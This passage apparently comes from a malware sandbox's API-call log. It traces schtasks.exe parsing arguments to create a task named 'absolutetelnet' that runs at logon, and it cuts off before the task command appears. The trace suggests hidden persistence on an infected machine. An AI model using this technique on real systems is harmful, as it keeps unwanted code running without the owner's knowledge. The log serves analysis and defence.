_ArgList=0xfc308 | out: _Buffer="|create|") returned 8 [0145.932] _vsnwprintf (in: _Buffer=0x2bc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc308 | out: _Buffer="|tn|") returned 4 [0145.932] lstrlenW (lpString="|create|") returned 8 [0145.933] lstrlenW (lpString="|tn|") returned 4 [0145.933] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0145.933] SetLastError (dwErrCode=0x490) [0145.933] lstrlenW (lpString="?") returned 1 [0145.933] lstrlenW (lpString="?") returned 1 [0145.933] _memicmp (_Buf1=0x2bc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.933] lstrlenW (lpString="tn") returned 2 [0145.933] _memicmp (_Buf1=0x2bc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.933] _vsnwprintf (in: _Buffer=0x2bc290, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc308 | out: _Buffer="|?|") returned 3 [0145.933] _vsnwprintf (in: _Buffer=0x2bc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc308 | out: _Buffer="|tn|") returned 4 [0145.933] lstrlenW (lpString="|?|") returned 3 [0145.933] lstrlenW (lpString="|tn|") returned 4 [0145.933] SetLastError (dwErrCode=0x490) [0145.933] lstrlenW (lpString="s") returned 1 [0145.933] lstrlenW (lpString="s") returned 1 [0145.933] _memicmp (_Buf1=0x2bc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.933] lstrlenW (lpString="tn") returned 2 [0145.933] _memicmp (_Buf1=0x2bc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.933] _vsnwprintf (in: _Buffer=0x2bc290, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc308 | out: _Buffer="|s|") returned 3 [0145.933] _vsnwprintf (in: _Buffer=0x2bc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc308 | out: _Buffer="|tn|") returned 4 [0145.933] lstrlenW (lpString="|s|") returned 3 [0145.933] lstrlenW (lpString="|tn|") returned 4 [0145.933] SetLastError (dwErrCode=0x490) [0145.933] lstrlenW (lpString="u") returned 1 [0145.933] lstrlenW (lpString="u") returned 1 [0145.933] _memicmp (_Buf1=0x2bc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.934] lstrlenW (lpString="tn") returned 2 [0145.934] _memicmp (_Buf1=0x2bc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.934] _vsnwprintf (in: _Buffer=0x2bc290, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc308 | out: _Buffer="|u|") returned 3 [0145.934] _vsnwprintf (in: _Buffer=0x2bc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc308 | out: _Buffer="|tn|") returned 4 [0145.934] lstrlenW (lpString="|u|") returned 3 [0145.934] lstrlenW (lpString="|tn|") returned 4 [0145.934] SetLastError (dwErrCode=0x490) [0145.934] lstrlenW (lpString="p") returned 1 [0145.934] lstrlenW (lpString="p") returned 1 [0145.934] _memicmp (_Buf1=0x2bc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.934] lstrlenW (lpString="tn") returned 2 [0145.934] _memicmp (_Buf1=0x2bc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.934] _vsnwprintf (in: _Buffer=0x2bc290, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc308 | out: _Buffer="|p|") returned 3 [0145.934] _vsnwprintf (in: _Buffer=0x2bc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc308 | out: _Buffer="|tn|") returned 4 [0145.934] lstrlenW (lpString="|p|") returned 3 [0145.934] lstrlenW (lpString="|tn|") returned 4 [0145.934] SetLastError (dwErrCode=0x490) [0145.934] lstrlenW (lpString="ru") returned 2 [0145.934] lstrlenW (lpString="ru") returned 2 [0145.934] _memicmp (_Buf1=0x2bc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.934] lstrlenW (lpString="tn") returned 2 [0145.934] _memicmp (_Buf1=0x2bc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.934] _vsnwprintf (in: _Buffer=0x2bc290, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc308 | out: _Buffer="|ru|") returned 4 [0145.934] _vsnwprintf (in: _Buffer=0x2bc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc308 | out: _Buffer="|tn|") returned 4 [0145.934] lstrlenW (lpString="|ru|") returned 4 [0145.934] lstrlenW (lpString="|tn|") returned 4 [0145.935] StrStrIW (lpFirst="|ru|", lpSrch="|tn|") returned 0x0 [0145.935] SetLastError (dwErrCode=0x490) [0145.935] lstrlenW (lpString="rp") returned 2 [0145.935] lstrlenW (lpString="rp") returned 2 [0145.935] _memicmp (_Buf1=0x2bc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.935] lstrlenW (lpString="tn") returned 2 [0145.935] _memicmp (_Buf1=0x2bc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.935] _vsnwprintf (in: _Buffer=0x2bc290, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc308 | out: _Buffer="|rp|") returned 4 [0145.935] _vsnwprintf (in: _Buffer=0x2bc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc308 | out: _Buffer="|tn|") returned 4 [0145.935] lstrlenW (lpString="|rp|") returned 4 [0145.935] lstrlenW (lpString="|tn|") returned 4 [0145.935] StrStrIW (lpFirst="|rp|", lpSrch="|tn|") returned 0x0 [0145.935] SetLastError (dwErrCode=0x490) [0145.935] lstrlenW (lpString="sc") returned 2 [0145.935] lstrlenW (lpString="sc") returned 2 [0145.935] _memicmp (_Buf1=0x2bc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.935] lstrlenW (lpString="tn") returned 2 [0145.935] _memicmp (_Buf1=0x2bc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.935] _vsnwprintf (in: _Buffer=0x2bc290, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc308 | out: _Buffer="|sc|") returned 4 [0145.935] _vsnwprintf (in: _Buffer=0x2bc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc308 | out: _Buffer="|tn|") returned 4 [0145.935] lstrlenW (lpString="|sc|") returned 4 [0145.935] lstrlenW (lpString="|tn|") returned 4 [0145.935] StrStrIW (lpFirst="|sc|", lpSrch="|tn|") returned 0x0 [0145.935] SetLastError (dwErrCode=0x490) [0145.935] lstrlenW (lpString="mo") returned 2 [0145.935] lstrlenW (lpString="mo") returned 2 [0145.936] _memicmp (_Buf1=0x2bc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.936] lstrlenW (lpString="tn") returned 2 [0145.936] _memicmp (_Buf1=0x2bc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.936] _vsnwprintf (in: _Buffer=0x2bc290, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc308 | out: _Buffer="|mo|") returned 4 [0145.936] _vsnwprintf (in: _Buffer=0x2bc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc308 | out: _Buffer="|tn|") returned 4 [0145.936] lstrlenW (lpString="|mo|") returned 4 [0145.936] lstrlenW (lpString="|tn|") returned 4 [0145.936] StrStrIW (lpFirst="|mo|", lpSrch="|tn|") returned 0x0 [0145.936] SetLastError (dwErrCode=0x490) [0145.936] lstrlenW (lpString="d") returned 1 [0145.936] lstrlenW (lpString="d") returned 1 [0145.936] _memicmp (_Buf1=0x2bc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.936] lstrlenW (lpString="tn") returned 2 [0145.936] _memicmp (_Buf1=0x2bc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.936] _vsnwprintf (in: _Buffer=0x2bc290, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc308 | out: _Buffer="|d|") returned 3 [0145.936] _vsnwprintf (in: _Buffer=0x2bc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc308 | out: _Buffer="|tn|") returned 4 [0145.936] lstrlenW (lpString="|d|") returned 3 [0145.936] lstrlenW (lpString="|tn|") returned 4 [0145.936] SetLastError (dwErrCode=0x490) [0145.936] lstrlenW (lpString="m") returned 1 [0145.936] lstrlenW (lpString="m") returned 1 [0145.936] _memicmp (_Buf1=0x2bc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.936] lstrlenW (lpString="tn") returned 2 [0145.936] _memicmp (_Buf1=0x2bc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.936] _vsnwprintf (in: _Buffer=0x2bc290, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc308 | out: _Buffer="|m|") returned 3 [0145.937] _vsnwprintf (in: _Buffer=0x2bc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc308 | out: _Buffer="|tn|") returned 4 [0145.937] lstrlenW (lpString="|m|") returned 3 [0145.937] lstrlenW (lpString="|tn|") returned 4 [0145.937] SetLastError (dwErrCode=0x490) [0145.937] lstrlenW (lpString="i") returned 1 [0145.937] lstrlenW (lpString="i") returned 1 [0145.937] _memicmp (_Buf1=0x2bc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.937] lstrlenW (lpString="tn") returned 2 [0145.937] _memicmp (_Buf1=0x2bc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.937] _vsnwprintf (in: _Buffer=0x2bc290, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc308 | out: _Buffer="|i|") returned 3 [0145.937] _vsnwprintf (in: _Buffer=0x2bc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc308 | out: _Buffer="|tn|") returned 4 [0145.937] lstrlenW (lpString="|i|") returned 3 [0145.937] lstrlenW (lpString="|tn|") returned 4 [0145.937] SetLastError (dwErrCode=0x490) [0145.937] lstrlenW (lpString="tn") returned 2 [0145.937] lstrlenW (lpString="tn") returned 2 [0145.937] _memicmp (_Buf1=0x2bc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.937] lstrlenW (lpString="tn") returned 2 [0145.937] _memicmp (_Buf1=0x2bc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.937] _vsnwprintf (in: _Buffer=0x2bc290, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc308 | out: _Buffer="|tn|") returned 4 [0145.937] _vsnwprintf (in: _Buffer=0x2bc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc308 | out: _Buffer="|tn|") returned 4 [0145.937] lstrlenW (lpString="|tn|") returned 4 [0145.937] lstrlenW (lpString="|tn|") returned 4 [0145.937] StrStrIW (lpFirst="|tn|", lpSrch="|tn|") returned="|tn|" [0145.937] SetLastError (dwErrCode=0x0) [0145.937] SetLastError (dwErrCode=0x0) [0145.938] lstrlenW (lpString="absolutetelnet") returned 14 [0145.938] lstrlenW (lpString="-/") returned 2 [0145.938] StrChrIW (lpStart="-/", wMatch=0x61) returned 0x0 [0145.938] SetLastError (dwErrCode=0x490) [0145.938] SetLastError (dwErrCode=0x490) [0145.938] SetLastError (dwErrCode=0x0) [0145.938] lstrlenW (lpString="absolutetelnet") returned 14 [0145.938] StrChrIW (lpStart="absolutetelnet", wMatch=0x3a) returned 0x0 [0145.938] SetLastError (dwErrCode=0x490) [0145.938] SetLastError (dwErrCode=0x0) [0145.938] lstrlenW (lpString="absolutetelnet") returned 14 [0145.938] SetLastError (dwErrCode=0x0) [0145.938] SetLastError (dwErrCode=0x0) [0145.938] lstrlenW (lpString="/sc") returned 3 [0145.938] lstrlenW (lpString="-/") returned 2 [0145.938] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0145.938] lstrlenW (lpString="create") returned 6 [0145.938] lstrlenW (lpString="create") returned 6 [0145.938] _memicmp (_Buf1=0x2bc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.938] lstrlenW (lpString="sc") returned 2 [0145.938] _memicmp (_Buf1=0x2bc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.938] _vsnwprintf (in: _Buffer=0x2bc290, _BufferCount=0x9, _Format="|%s|", _ArgList=0xfc308 | out: _Buffer="|create|") returned 8 [0145.938] _vsnwprintf (in: _Buffer=0x2bc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc308 | out: _Buffer="|sc|") returned 4 [0145.938] lstrlenW (lpString="|create|") returned 8 [0145.938] lstrlenW (lpString="|sc|") returned 4 [0145.938] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0145.938] SetLastError (dwErrCode=0x490) [0145.938] lstrlenW (lpString="?") returned 1 [0145.939] lstrlenW (lpString="?") returned 1 [0145.939] _memicmp (_Buf1=0x2bc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.939] lstrlenW (lpString="sc") returned 2 [0145.939] _memicmp (_Buf1=0x2bc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.939] _vsnwprintf (in: _Buffer=0x2bc290, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc308 | out: _Buffer="|?|") returned 3 [0145.939] _vsnwprintf (in: _Buffer=0x2bc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc308 | out: _Buffer="|sc|") returned 4 [0145.939] lstrlenW (lpString="|?|") returned 3 [0145.939] lstrlenW (lpString="|sc|") returned 4 [0145.939] SetLastError (dwErrCode=0x490) [0145.939] lstrlenW (lpString="s") returned 1 [0145.939] lstrlenW (lpString="s") returned 1 [0145.939] _memicmp (_Buf1=0x2bc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.939] lstrlenW (lpString="sc") returned 2 [0145.939] _memicmp (_Buf1=0x2bc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.939] _vsnwprintf (in: _Buffer=0x2bc290, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc308 | out: _Buffer="|s|") returned 3 [0145.939] _vsnwprintf (in: _Buffer=0x2bc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc308 | out: _Buffer="|sc|") returned 4 [0145.939] lstrlenW (lpString="|s|") returned 3 [0145.939] lstrlenW (lpString="|sc|") returned 4 [0145.939] SetLastError (dwErrCode=0x490) [0145.939] lstrlenW (lpString="u") returned 1 [0145.939] lstrlenW (lpString="u") returned 1 [0145.939] _memicmp (_Buf1=0x2bc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.939] lstrlenW (lpString="sc") returned 2 [0145.939] _memicmp (_Buf1=0x2bc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.939] _vsnwprintf (in: _Buffer=0x2bc290, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc308 | out: _Buffer="|u|") returned 3 [0145.940] _vsnwprintf (in: _Buffer=0x2bc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc308 | out: _Buffer="|sc|") returned 4 [0145.940] lstrlenW (lpString="|u|") returned 3 [0145.940] lstrlenW (lpString="|sc|") returned 4 [0145.940] SetLastError (dwErrCode=0x490) [0145.940] lstrlenW (lpString="p") returned 1 [0145.940] lstrlenW (lpString="p") returned 1 [0145.940] _memicmp (_Buf1=0x2bc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.940] lstrlenW (lpString="sc") returned 2 [0145.940] _memicmp (_Buf1=0x2bc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.940] _vsnwprintf (in: _Buffer=0x2bc290, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc308 | out: _Buffer="|p|") returned 3 [0145.940] _vsnwprintf (in: _Buffer=0x2bc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc308 | out: _Buffer="|sc|") returned 4 [0145.940] lstrlenW (lpString="|p|") returned 3 [0145.940] lstrlenW (lpString="|sc|") returned 4 [0145.940] SetLastError (dwErrCode=0x490) [0145.940] lstrlenW (lpString="ru") returned 2 [0145.940] lstrlenW (lpString="ru") returned 2 [0145.940] _memicmp (_Buf1=0x2bc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.940] lstrlenW (lpString="sc") returned 2 [0145.940] _memicmp (_Buf1=0x2bc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.940] _vsnwprintf (in: _Buffer=0x2bc290, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc308 | out: _Buffer="|ru|") returned 4 [0145.940] _vsnwprintf (in: _Buffer=0x2bc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc308 | out: _Buffer="|sc|") returned 4 [0145.940] lstrlenW (lpString="|ru|") returned 4 [0145.940] lstrlenW (lpString="|sc|") returned 4 [0145.940] StrStrIW (lpFirst="|ru|", lpSrch="|sc|") returned 0x0 [0145.940] SetLastError (dwErrCode=0x490) [0145.940] lstrlenW (lpString="rp") returned 2 [0145.941] lstrlenW (lpString="rp") returned 2 [0145.941] _memicmp (_Buf1=0x2bc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.941] lstrlenW (lpString="sc") returned 2 [0145.941] _memicmp (_Buf1=0x2bc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.941] _vsnwprintf (in: _Buffer=0x2bc290, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc308 | out: _Buffer="|rp|") returned 4 [0145.941] _vsnwprintf (in: _Buffer=0x2bc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc308 | out: _Buffer="|sc|") returned 4 [0145.941] lstrlenW (lpString="|rp|") returned 4 [0145.941] lstrlenW (lpString="|sc|") returned 4 [0145.941] StrStrIW (lpFirst="|rp|", lpSrch="|sc|") returned 0x0 [0145.941] SetLastError (dwErrCode=0x490) [0145.941] lstrlenW (lpString="sc") returned 2 [0145.941] lstrlenW (lpString="sc") returned 2 [0145.941] _memicmp (_Buf1=0x2bc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.941] lstrlenW (lpString="sc") returned 2 [0145.941] _memicmp (_Buf1=0x2bc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.941] _vsnwprintf (in: _Buffer=0x2bc290, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc308 | out: _Buffer="|sc|") returned 4 [0145.941] _vsnwprintf (in: _Buffer=0x2bc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc308 | out: _Buffer="|sc|") returned 4 [0145.941] lstrlenW (lpString="|sc|") returned 4 [0145.941] lstrlenW (lpString="|sc|") returned 4 [0145.941] StrStrIW (lpFirst="|sc|", lpSrch="|sc|") returned="|sc|" [0145.941] SetLastError (dwErrCode=0x0) [0145.941] SetLastError (dwErrCode=0x0) [0145.941] lstrlenW (lpString="ONLOGON") returned 7 [0145.941] lstrlenW (lpString="-/") returned 2 [0145.941] StrChrIW (lpStart="-/", wMatch=0x4f) returned 0x0 [0145.941] SetLastError (dwErrCode=0x490) [0145.941] SetLastError (dwErrCode=0x490) [0145.942] SetLastError (dwErrCode=0x0) [0145.942] lstrlenW (lpString="ONLOGON") returned 7 [0145.942] StrChrIW (lpStart="ONLOGON", wMatch=0x3a) returned 0x0 [0145.942] SetLastError (dwErrCode=0x490) [0145.942] SetLastError (dwErrCode=0x0) [0145.942] GetProcessHeap () returned 0x2a0000 [0145.942] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0xc, Size=0x18) returned 0x2bd570 [0145.942] _memicmp (_Buf1=0x2bd570, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.942] lstrlenW (lpString="ONLOGON") returned 7 [0145.942] GetProcessHeap () returned 0x2a0000 [0145.942] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0xc, Size=0x10) returned 0x2bd590 [0145.942] lstrlenW (lpString="ONLOGON") returned 7 [0145.942] lstrlenW (lpString=" \x09") returned 2 [0145.942] StrChrW (lpStart=" \x09", wMatch=0x4f) returned 0x0 [0145.942] StrChrW (lpStart=" \x09", wMatch=0x4f) returned 0x0 [0145.942] StrChrW (lpStart=" \x09", wMatch=0x4e) returned 0x0 [0145.942] StrChrW (lpStart=" \x09", wMatch=0x4c) returned 0x0 [0145.942] StrChrW (lpStart=" \x09", wMatch=0x4f) returned 0x0 [0145.942] StrChrW (lpStart=" \x09", wMatch=0x47) returned 0x0 [0145.942] StrChrW (lpStart=" \x09", wMatch=0x4f) returned 0x0 [0145.942] StrChrW (lpStart=" \x09", wMatch=0x4e) returned 0x0 [0145.942] GetLastError () returned 0x0 [0145.942] lstrlenW (lpString="ONLOGON") returned 7 [0145.942] lstrlenW (lpString="ONLOGON") returned 7 [0145.942] SetLastError (dwErrCode=0x0) [0145.942] SetLastError (dwErrCode=0x0) [0145.942] lstrlenW (lpString="/tr") returned 3 [0145.942] lstrlenW (lpString="-/") returned 2 [0145.942] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0145.943] lstrlenW (lpString="create") returned 6 [0145.943] lstrlenW (lpString="create") returned 6 [0145.943] _memicmp (_Buf1=0x2bc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.943] lstrlenW (lpString="tr") returned 2 [0145.943] _memicmp (_Buf1=0x2bc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.943] _vsnwprintf (in: _Buffer=0x2bc290, _BufferCount=0x9, _Format="|%s|", _ArgList=0xfc308 | out: _Buffer="|create|") returned 8 [0145.943] _vsnwprintf (in: _Buffer=0x2bc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc308 | out: _Buffer="|tr|") returned 4 [0145.943] lstrlenW (lpString="|create|") returned 8 [0145.943] lstrlenW (lpString="|tr|") returned 4 [0145.943] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0145.943] SetLastError (dwErrCode=0x490) [0145.943] lstrlenW (lpString="?") returned 1 [0145.943] lstrlenW (lpString="?") returned 1 [0145.943] _memicmp (_Buf1=0x2bc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.943] lstrlenW (lpString="tr") returned 2 [0145.943] _memicmp (_Buf1=0x2bc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.943] _vsnwprintf (in: _Buffer=0x2bc290, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc308 | out: _Buffer="|?|") returned 3 [0145.943] _vsnwprintf (in: _Buffer=0x2bc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc308 | out: _Buffer="|tr|") returned 4 [0145.943] lstrlenW (lpString="|?|") returned 3 [0145.943] lstrlenW (lpString="|tr|") returned 4 [0145.943] SetLastError (dwErrCode=0x490) [0145.943] lstrlenW (lpString="s") returned 1 [0145.943] lstrlenW (lpString="s") returned 1 [0145.943] _memicmp (_Buf1=0x2bc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.943] lstrlenW (lpString="tr") returned 2 [0145.943] _memicmp (_Buf1=0x2bc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.944] _vsnwprintf (in: _Buffer=0x2bc290, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc308 | out: _Buffer="|s|") returned 3 [0145.944] _vsnwprintf (in: _Buffer=0x2bc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc308 | out: _Buffer="|tr|") returned 4 [0145.944] lstrlenW (lpString="|s|") returned 3 [0145.944] lstrlenW (lpString="|tr|") returned 4 [0145.944] SetLastError (dwErrCode=0x490) [0145.944] lstrlenW (lpString="u") returned 1 [0145.944] lstrlenW (lpString="u") returned 1 [0145.944] _memicmp (_Buf1=0x2bc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.944] lstrlenW (lpString="tr") returned 2 [0145.944] _memicmp (_Buf1=0x2bc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.944] _vsnwprintf (in: _Buffer=0x2bc290, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc308 | out: _Buffer="|u|") returned 3 [0145.944] _vsnwprintf (in: _Buffer=0x2bc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc308 | out: _Buffer="|tr|") returned 4 [0145.944] lstrlenW (lpString="|u|") returned 3 [0145.944] lstrlenW (lpString="|tr|") returned 4 [0145.944] SetLastError (dwErrCode=0x490) [0145.944] lstrlenW (lpString="p") returned 1 [0145.944] lstrlenW (lpString="p") returned 1 [0145.944] _memicmp (_Buf1=0x2bc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.944] lstrlenW (lpString="tr") returned 2 [0145.944] _memicmp (_Buf1=0x2bc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.944] _vsnwprintf (in: _Buffer=0x2bc290, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc308 | out: _Buffer="|p|") returned 3 [0145.944] _vsnwprintf (in: _Buffer=0x2bc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc308 | out: _Buffer="|tr|") returned 4 [0145.944] lstrlenW (lpString="|p|") returned 3 [0145.944] lstrlenW (lpString="|tr|") returned 4 [0145.944] SetLastError (dwErrCode=0x490) [0145.945] lstrlenW (lpString="ru") returned 2 [0145.945] lstrlenW (lpString="ru") returned 2 [0145.945] _memicmp (_Buf1=0x2bc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.945] lstrlenW (lpString="tr") returned 2 [0145.945] _memicmp (_Buf1=0x2bc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.945] _vsnwprintf (in: _Buffer=0x2bc290, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc308 | out: _Buffer="|ru|") returned 4 [0145.945] _vsnwprintf (in: _Buffer=0x2bc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc308 | out: _Buffer="|tr|") returned 4 [0145.945] lstrlenW (lpString="|ru|") returned 4 [0145.945] lstrlenW (lpString="|tr|") returned 4 [0145.945] StrStrIW (lpFirst="|ru|", lpSrch="|tr|") returned 0x0 [0145.945] SetLastError (dwErrCode=0x490) [0145.945] lstrlenW (lpString="rp") returned 2 [0145.945] lstrlenW (lpString="rp") returned 2 [0145.945] _memicmp (_Buf1=0x2bc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.945] lstrlenW (lpString="tr") returned 2 [0145.945] _memicmp (_Buf1=0x2bc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.945] _vsnwprintf (in: _Buffer=0x2bc290, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc308 | out: _Buffer="|rp|") returned 4 [0145.945] _vsnwprintf (in: _Buffer=0x2bc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc308 | out: _Buffer="|tr|") returned 4 [0145.945] lstrlenW (lpString="|rp|") returned 4 [0145.945] lstrlenW (lpString="|tr|") returned 4 [0145.945] StrStrIW (lpFirst="|rp|", lpSrch="|tr|") returned 0x0 [0145.945] SetLastError (dwErrCode=0x490) [0145.945] lstrlenW (lpString="sc") returned 2 [0145.945] lstrlenW (lpString="sc") returned 2 [0145.945] _memicmp (_Buf1=0x2bc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.945] lstrlenW (lpString="tr") returned 2 [0145.946] _memicmp (_Buf1=0x2bc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.946] _vsnwprintf (in: _Buffer=0x2bc290, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc308 | out: _Buffer="|sc|") returned 4 [0145.946] _vsnwprintf (in: _Buffer=0x2bc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc308 | out: _Buffer="|tr|") returned 4 [0145.965] lstrlenW (lpString="|sc|") returned 4 [0145.965] lstrlenW (lpString="|tr|") returned 4 [0145.965] StrStrIW (lpFirst="|sc|", lpSrch="|tr|") returned 0x0 [0145.965] SetLastError (dwErrCode=0x490) [0145.965] lstrlenW (lpString="mo") returned 2 [0145.965] lstrlenW (lpString="mo") returned 2 [0145.965] _memicmp (_Buf1=0x2bc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.965] lstrlenW (lpString="tr") returned 2 [0145.966] _memicmp (_Buf1=0x2bc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.966] _vsnwprintf (in: _Buffer=0x2bc290, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc308 | out: _Buffer="|mo|") returned 4 [0145.966] _vsnwprintf (in: _Buffer=0x2bc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc308 | out: _Buffer="|tr|") returned 4 [0145.966] lstrlenW (lpString="|mo|") returned 4 [0145.966] lstrlenW (lpString="|tr|") returned 4 [0145.966] StrStrIW (lpFirst="|mo|", lpSrch="|tr|") returned 0x0 [0145.966] SetLastError (dwErrCode=0x490) [0145.966] lstrlenW (lpString="d") returned 1 [0145.966] lstrlenW (lpString="d") returned 1 [0145.966] _memicmp (_Buf1=0x2bc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.966] lstrlenW (lpString="tr") returned 2 [0145.966] _memicmp (_Buf1=0x2bc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.966] _vsnwprintf (in: _Buffer=0x2bc290, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc308 | out: _Buffer="|d|") returned 3 [0145.966] _vsnwprintf (in: _Buffer=0x2bc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc308 | out: _Buffer="|tr|") returned 4 [0145.966] lstrlenW (lpString="|d|") returned 3 [0145.966] lstrlenW (lpString="|tr|") returned 4 [0145.966] SetLastError (dwErrCode=0x490) [0145.966] lstrlenW (lpString="m") returned 1 [0145.966] lstrlenW (lpString="m") returned 1 [0145.966] _memicmp (_Buf1=0x2bc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.966] lstrlenW (lpString="tr") returned 2 